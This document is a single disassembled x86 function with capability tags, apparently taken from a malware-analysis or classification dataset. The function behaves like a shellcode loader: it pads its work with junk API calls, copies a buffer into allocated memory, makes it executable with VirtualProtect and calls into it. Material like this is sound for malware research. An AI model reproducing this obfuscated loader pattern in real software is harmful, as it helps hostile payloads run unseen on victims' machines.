Function at 0x40b290
Capabilities:
Allocate or change rwx memory
Connect pipe
Execute shellcode via indirect call
Get common file path
Get geographical location
Identify system language via api
Set console window title
Set file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x40fc0c
mov eax, dword fs:[0]
push eax
sub esp, 0x8a8
mov eax, dword [0x44507c]
xor eax, esp
mov dword [esp + 0x8a0], eax
push ebx
push esi
push edi
mov eax, dword [0x44507c]
xor eax, esp
push eax
lea eax, [esp + 0x8b8]
mov dword fs:[0], eax
mov ecx, dword [0x2b6d4c4]
cmp ecx, 0x7c
jne 0x40b400
lea eax, [esp + 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
push ebx
push ebx
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0x68]
push ecx
lea edx, [esp + 0x50]
push edx
call dword [sym.imp.USER32.dll_CopyRect]
push ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
push ebx
push ebx
lea eax, [esp + 0xb4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
push ebx
call dword [sym.imp.KERNEL32.dll_DebugActiveProcess]
mov esi, dword [sym.imp.KERNEL32.dll_FindAtomW]
push ebx
call esi
call dword [sym.imp.KERNEL32.dll_GetThreadLocale]
push ebx
call esi
push ebx
call dword [sym.imp.KERNEL32.dll_LocalHandle]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetNumaProcessorNode]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_HeapSetInformation]
cmp dword [0x2b6d4c4], 0x2d
jne 0x40b37e
push ebx
lea ecx, [esp + 0x14]
push ecx
mov dword [esp + 0x18], ebx
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
mov dword [esp + 0x14], ebx
mov dword [esp + 0x18], ebx
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x8c0], ebx
mov edi, 0xd
mov eax, str.divit_pejadov
lea esi, [esp + 0x30]
mov dword [esp + 0x44], 0xf
mov dword [esp + 0x40], ebx
mov byte [esp + 0x30], bl
call fcn.00401310
mov ecx, esi
lea edi, [esp + 0x14]
mov byte [esp + 0x8c0], 1
call fcn.004010c0
cmp dword [esp + 0x44], 0x10
jb 0x40b3db
mov edx, dword [esp + 0x30]
push edx
call fcn.004025b9
add esp, 4
push ebx
call fcn.004025c4
add esp, 4
lea eax, [esp + 0x14]
or esi, 0xffffffff
push eax
mov dword [esp + 0x8c4], esi
call fcn.004012b0
mov ecx, dword [0x2b6d4c4]
jmp 0x40b405
xor ebx, ebx
or esi, 0xffffffff
mov edx, dword [0x4476e0]
xor eax, eax
mov edi, 0xec58acac
cmp eax, 0x8450db
jne 0x40b41f
lea ecx, [edx + 0xa231]
cmp ecx, 0x141
jne 0x40b433
mov dword [0x448d20], edi
mov dword [0x448d24], esi
inc eax
cmp eax, 0xb9fa618
jl 0x40b412
mov edi, dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
mov dword [0x2b6d4c4], ecx
xor esi, esi
lea esp, [esp]
cmp esi, 0x562d05
jne 0x40b464
mov edx, dword [0x4476d4]
mov dword [0x2b6d4c8], edx
cmp ecx, 0x3c
jne 0x40b472
push ebx
call edi
mov ecx, dword [0x2b6d4c4]
inc esi
cmp esi, 0x5f6c74
jl 0x40b450
cmp ecx, 0x110a
jne 0x40b5d2
push ebx
mov dword [0x2b6d138], ebx
mov dword [0x2b6d13c], ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
push str.nawiyadok
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push ebx
call fcn.00402351
xor eax, eax
mov word [esp + 0x34], ax
lea esi, [eax + 1]
add esp, 4
lea eax, [esp + 0x30]
mov dword [esp + 0x44], 7
mov dword [esp + 0x40], ebx
call fcn.004013e0
push str.0__s__d__f
mov dword [esp + 0x8c4], 2
call fcn.00402462
add esp, 4
push ebx
call fcn.00402351
mov edi, esi
add esp, 4
mov eax, 0x4438a4
lea esi, [esp + 0x68]
mov dword [esp + 0x7c], 0xf
mov dword [esp + 0x78], ebx
mov byte [esp + 0x68], bl
call fcn.00401310
push ebx
mov byte [esp + 0x8c4], 3
call fcn.0040af48
add esp, 4
mov eax, 0x4438a4
lea esi, [esp + 0x4c]
mov dword [esp + 0x60], 0xf
mov dword [esp + 0x5c], ebx
mov byte [esp + 0x4c], bl
call fcn.00401310
push ebx
call fcn.00402351
add esp, 4
push 0x4438a4
push 0x448820
call fcn.00401e24
push ebx
call fcn.004025a2
mov esi, 0x10
add esp, 0xc
cmp dword [esp + 0x60], esi
jb 0x40b58e
mov ecx, dword [esp + 0x4c]
push ecx
call fcn.004025b9
add esp, 4
mov edi, 0xf
mov dword [esp + 0x60], edi
mov dword [esp + 0x5c], ebx
mov byte [esp + 0x4c], bl
cmp dword [esp + 0x7c], esi
jb 0x40b5b2
mov edx, dword [esp + 0x68]
push edx
call fcn.004025b9
add esp, 4
cmp dword [esp + 0x44], 8
mov dword [esp + 0x7c], edi
mov dword [esp + 0x78], ebx
mov byte [esp + 0x68], bl
jb 0x40b5d2
mov eax, dword [esp + 0x30]
push eax
call fcn.004025b9
add esp, 4
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov ecx, dword [0x2b6d4c4]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
xor esi, esi
mov dword [0x2b6ce68], eax
cmp dword [0x2b6d4c4], ebx
jbe 0x40b63d
mov edi, dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
mov edx, dword [0x2b6d4c8]
mov dword [esp + 0x14], edx
mov eax, 0xa231
add dword [esp + 0x14], eax
mov eax, dword [esp + 0x14]
mov cl, byte [eax + esi]
mov edx, dword [0x2b6ce68]
mov byte [edx + esi], cl
cmp dword [0x2b6d4c4], 0x5ab
jne 0x40b634
push ebx
push ebx
push ebx
call edi
inc esi
cmp esi, dword [0x2b6d4c4]
jb 0x40b600
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.msimg32.dll
call edi
mov ecx, dword [0x2b6d4c4]
mov edx, dword [0x2b6ce68]
lea eax, [esp + 0x28]
push eax
push 0x40
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [0x2b6d4c4]
mov ecx, dword [0x2b6ce68]
mov esi, dword [0x445f60]
mov dword [esp + 0x2c], eax
mov dword [esp + 0x24], ecx
cmp eax, 0x930
jne 0x40b691
push ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov eax, dword [0x2b6d4c4]
mov dword [0x448d1c], esi
cmp eax, 0x114e
jne 0x40b6af
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push ebx
call edi
mov eax, dword [0x2b6d4c4]
cmp eax, 0x2f
jne 0x40b6e3
lea eax, [esp + 0x14]
push eax
xor ecx, ecx
push ecx
xor edx, edx
push edx
lea eax, [esp + 0x1c]
push eax
push ebx
mov dword [esp + 0x24], edx
mov dword [esp + 0x28], ecx
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputA]
push ebx
lea ecx, [esp + 0xb0]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
mov edi, dword [esp + 0x2c]
mov ebx, dword [esp + 0x24]
call fcn.0040b100
add dword [0x2b6ce68], 0
mov edi, dword [sym.imp.USER32.dll_GetMonitorInfoW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetAtomNameW]
xor esi, esi
lea edx, [esp + 0x84]
push edx
push 0
call edi
push 0
push 0
push 0
call ebx
cmp esi, 0x1a01e
jle 0x40b731
cmp dword [esp + 0x8c], 0xf5bed7
jne 0x40b73a
inc esi
cmp esi, 0x1ece7a52
jl 0x40b708
mov edi, dword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [esp + 0x10], 0x1519a5
mov ebx, 0x8e46a6f0
cmp dword [0x2b6d4c4], 0xcc1
jne 0x40b763
push 0
call edi
cmp dword [0x2b6d4c4], 0x3dc
mov dword [0x2b6ce6c], ebx
jne 0x40b788
push 0
push 0
push 0
push 0
push 0
push 0
push str.fipelidivukaluvijahevavuzuke
call esi
dec dword [esp + 0x10]
jne 0x40b753
mov ecx, dword [esp + 0x8b8]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x8a0]
xor ecx, esp
call fcn.00401e15
mov esp, ebp
pop ebp
ret